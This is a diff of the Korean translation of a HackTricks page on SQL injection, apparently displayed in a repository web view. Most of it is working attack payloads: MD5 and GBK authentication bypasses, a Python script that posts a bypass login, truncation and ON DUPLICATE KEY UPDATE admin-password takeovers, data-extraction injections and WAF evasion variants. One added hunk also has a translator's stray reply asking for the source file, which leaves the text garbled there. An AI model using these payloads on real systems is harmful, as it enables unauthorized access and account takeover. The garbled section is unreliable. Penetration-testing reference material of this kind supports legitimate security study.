이 쿼리는 MD5가 authentication checks에서 raw output을 위해 true로 사용될 때 발생하는 취약점을 보여주며, 시스템을 SQL injection에 취약하게 만듭니다. 공격자들은 해시되었을 때 예상치 못한 SQL 명령 부분을 생성하도록 입력을 조작하여 이를 악용할 수 있으며, 그 결과 무단 접근이 발생할 수 있습니다.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -366,22 +366,22 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**추천 목록**:
|
||||
|
||||
각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: _**Pass1234.**_\
|
||||
_(이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)_
|
||||
목록의 각 줄을 username으로 사용하고 password는 항상: _**Pass1234.**_\
|
||||
_(This payloads are also included in the big list mentioned at the beginning of this section)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK 인증 우회
|
||||
### GBK Authentication Bypass
|
||||
|
||||
IF '가 이스케이프되고 있다면 %A8%27을 사용할 수 있으며, '가 이스케이프되면 다음이 생성됩니다: 0xA80x5c0x27 (_╘'_)
|
||||
만약 '가 escape 처리된다면 %A8%27을 사용할 수 있으며, '가 escape 처리되었을 때 생성되는 것은: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
파이썬 스크립트:
|
||||
Python 스크립트:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -390,7 +390,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### 폴리글롯 인젝션 (멀티컨텍스트)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -398,68 +398,79 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modify password of existing object/user
|
||||
|
||||
이 작업을 수행하려면 **"마스터 객체"**라는 이름의 새 객체를 **생성**해야 합니다 (사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정하여:
|
||||
이를 위해서는 무언가를 수정하여 **"master object"로 이름이 지정된 새로운 object를 생성**해 보아야 합니다(사용자라면 아마 **admin**일 가능성이 큽니다):
|
||||
|
||||
- 이름이 **AdMIn**인 사용자 생성 (대문자 및 소문자 혼합)
|
||||
- 이름이 **admin=**인 사용자 생성
|
||||
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[많은 공백] a**인 사용자 생성
|
||||
- Create user named: **AdMIn** (대문자 및 소문자 혼합)
|
||||
- Create a user named: **admin=**
|
||||
- **SQL Truncation Attack** (username 또는 email에 **길이 제한(length limit)**이 있는 경우) --> Create user with name: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하려면: "_admin \[30 공백] a_"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보십시오.
|
||||
데이터베이스가 취약하고 username의 최대 문자 수가 예를 들어 30자이고 사용자인 **admin**을 가장하려면, "_admin \[30 spaces] a_"라는 사용자명을 만들고 아무 비밀번호나 설정해 보세요.
|
||||
|
||||
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **허용된 최대 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 업데이트하면서 **끝의 모든 공백을 자동으로 제거합니다** (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
|
||||
데이터베이스는 입력된 **username**이 데이터베이스 내에 **존재하는지**를 **확인**합니다. 만약 **존재하지 않으면**, 데이터베이스는 **username**을 **허용된 최대 길이로 잘라냅니다**(이 경우 "_admin \[25 spaces]_"로) 그리고 마지막에 있는 모든 공백을 **자동으로 제거하여** 데이터베이스 내의 사용자 "**admin**"을 **새 비밀번호로 업데이트**합니다(오류가 발생할 수 있지만 이것이 동작하지 않았다는 것을 의미하지는 않습니다).
|
||||
|
||||
자세한 정보: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_참고: 이 공격은 최신 MySQL 설치에서는 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
`','',''`를 가능한 한 많이 추가하여 VALUES 문을 종료하십시오. 지연이 발생하면 SQLInjection이 있습니다.
|
||||
VALUES 문을 빠져나오기 위해 필요한 만큼 `','',''`를 추가하세요. delay가 실행되면 SQLInjection이 존재합니다.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` 절은 MySQL에서 UNIQUE 인덱스나 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예시는 이 기능이 관리자의 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
|
||||
MySQL의 `ON DUPLICATE KEY UPDATE` 절은 UNIQUE index 또는 PRIMARY KEY에 중복 값이 발생하는 행을 삽입하려 할 때 데이터베이스가 취할 동작을 지정하는 데 사용됩니다. 다음 예시는 이 기능을 이용해 관리자 계정의 비밀번호를 변경하는 방법을 보여줍니다:
|
||||
|
||||
예제 페이로드 주입:
|
||||
Example Payload Injection:
|
||||
|
||||
주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 `users` 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:
|
||||
다음과 같이 injection payload를 구성할 수 있습니다. 두 행을 `users` 테이블에 삽입하려 시도하며, 첫 번째 행은 미끼이고 두 번째 행은 기존 관리자 계정의 이메일을 대상으로 비밀번호를 업데이트하려는 목적입니다:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
다음은 작동 방식입니다:
|
||||
Here's how it works:
|
||||
|
||||
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
|
||||
- `admin_generic@example.com`에 대한 행이 이미 존재하는 경우, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
|
||||
- 따라서, 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
|
||||
- 이 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`용이고 다른 하나는 `admin_generic@example.com`용입니다.
|
||||
- `admin_generic@example.com`에 대한 행이 이미 존재하면, `ON DUPLICATE KEY UPDATE` 절이 실행되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
|
||||
- 결과적으로 `admin_generic@example.com`과 bcrypt 해시와 일치하는 비밀번호를 사용하여 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 교체해야 합니다).
|
||||
|
||||
### 정보 추출
|
||||
|
||||
#### 동시에 2개의 계정 만들기
|
||||
#### 동시에 2개의 계정 생성하기
|
||||
|
||||
새 사용자와 사용자 이름을 만들려고 할 때, 비밀번호와 이메일이 필요합니다:
|
||||
새 사용자 생성 시 username, password, email이 필요합니다:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### 10진수 또는 16진수 사용
|
||||
#### 십진수 또는 16진수 사용
|
||||
|
||||
이 기술을 사용하면 1개의 계정만 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석을 달 필요가 없다는 것입니다.
|
||||
이 기법을 사용하면 계정 1개만 생성해도 정보를 추출할 수 있습니다. 중요한 점은 아무 것도 주석 처리할 필요가 없다는 것입니다.
|
||||
|
||||
**hex2dec** 및 **substr** 사용:
|
||||
다음은 **hex2dec**와 **substr** 사용:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
텍스트를 얻으려면 다음을 사용할 수 있습니다:
|
||||
원문 파일 내용을 제공해 주세요. 로컬에서 파일을 가져오려면 아래 명령어 중 하나를 사용하세요:
|
||||
|
||||
```
|
||||
cat src/pentesting-web/sql-injection/README.md
|
||||
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
less src/pentesting-web/sql-injection/README.md
|
||||
bat --paging=never src/pentesting-web/sql-injection/README.md
|
||||
git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
gh repo clone <repo> && cat src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
파일이 너무 크면 번역할 섹션(헤더 포함)만 붙여넣어 주세요. 붙여주시면 한국어로 번역해 드립니다.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
**hex**와 **replace** (그리고 **substr**) 사용:
|
||||
**hex**와 **replace** (및 **substr**) 사용:
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -470,20 +481,20 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection은 injectable query가 직접 결과를 반환하는 쿼리가 아니라, injectable query의 출력이 결과를 반환하는 다른 쿼리로 전달되는 상황을 말한다. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
예시:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF 우회
|
||||
## WAF Bypass
|
||||
|
||||
[초기 우회는 여기에서](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### 공백 없는 우회
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - 공백 대체를 사용한 우회
|
||||
No Space (%20) - 공백 대체를 이용한 우회
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,31 +503,31 @@ No Space (%20) - 공백 대체를 사용한 우회
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
공백 없음 - 주석을 사용하여 우회
|
||||
No Whitespace - 주석을 사용한 우회
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
공백 없음 - 괄호를 사용하여 우회
|
||||
공백 없음 - 괄호를 사용한 우회
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
### 콤마 없음 bypass
|
||||
|
||||
No Comma - OFFSET, FROM 및 JOIN을 사용한 우회
|
||||
No Comma - bypass: OFFSET, FROM 및 JOIN 사용
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### 일반 우회
|
||||
### 일반적인 Bypasses
|
||||
|
||||
키워드를 사용한 블랙리스트 - 대문자/소문자를 사용한 우회
|
||||
Blacklist는 keywords를 사용함 — bypass는 uppercase/lowercase로 우회
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
키워드를 대소문자 구분 없이 블랙리스트에 추가 - 동등한 연산자를 사용하여 우회
|
||||
키워드를 대소문자 구분 없이 블랙리스트 처리 — 동등 연산자 사용으로 우회
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,33 +535,61 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Scientific Notation WAF 우회
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
이 트릭에 대한 더 깊이 있는 설명은 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)에서 찾을 수 있습니다.\
|
||||
기본적으로 WAF를 우회하기 위해 과학적 표기를 예상치 못한 방식으로 사용할 수 있습니다:
|
||||
이 트릭에 대한 보다 자세한 설명은 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
기본적으로 지수 표기법을 예상치 못한 방식으로 사용하여 WAF를 우회할 수 있습니다:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### 열 이름 제한 우회
|
||||
### 컬럼 이름 제한 우회
|
||||
|
||||
우선, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
|
||||
먼저, **원래 쿼리와 flag를 추출하려는 테이블의 컬럼 수가 동일하다면** 다음과 같이 할 수 있다는 점에 유의하라: `0 UNION SELECT * FROM flag`
|
||||
|
||||
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
|
||||
이름을 사용하지 않고 테이블의 **세 번째 컬럼에 접근**하는 것이 다음 쿼리처럼 가능하다: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것이다:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
또는 **comma bypass**를 사용하여:
|
||||
또는 **comma bypass**를 사용:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
이 트릭은 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)에서 가져왔습니다.
|
||||
이 트릭은 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)에서 가져왔습니다
|
||||
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
사용자 입력이 SELECT 목록이나 테이블/컬럼 식별자에 그대로 연결(concatenate)된다면, prepared statements는 도움이 되지 않습니다. bind parameters는 식별자가 아니라 값만 보호하기 때문입니다. 흔히 취약한 패턴은 다음과 같습니다:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
악용 아이디어: 필드 위치(field position)에 subquery를 주입(inject)하여 임의의 데이터를 exfiltrate합니다:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
참고:
|
||||
- 이것은 WHERE clause가 bound parameter를 사용할 때에도 작동합니다. 왜냐하면 identifier list는 여전히 string-concatenated 되기 때문입니다.
|
||||
- 일부 스택은 추가로 table name을 제어할 수 있게 허용하여 (tablename injection), cross-table reads를 가능하게 합니다.
|
||||
- Output sinks는 선택된 값을 HTML/JSON으로 반영할 수 있어 응답에서 직접 XSS 또는 token exfiltration을 허용할 수 있습니다.
|
||||
|
||||
완화:
|
||||
- 사용자 입력으로부터 identifiers를 절대 concatenate하지 마세요. 허용된 column names를 고정된 allow-list에 매핑하고 identifiers를 적절히 quote하세요.
|
||||
- dynamic table access가 필요할 경우, 유한한 집합으로 제한하고 server-side에서 안전한 매핑으로 해결하세요.
|
||||
|
||||
### WAF 우회 제안 도구
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
@ -560,11 +599,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## 브루트포스 탐지 목록
|
||||
## Brute-Force 탐지 목록
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user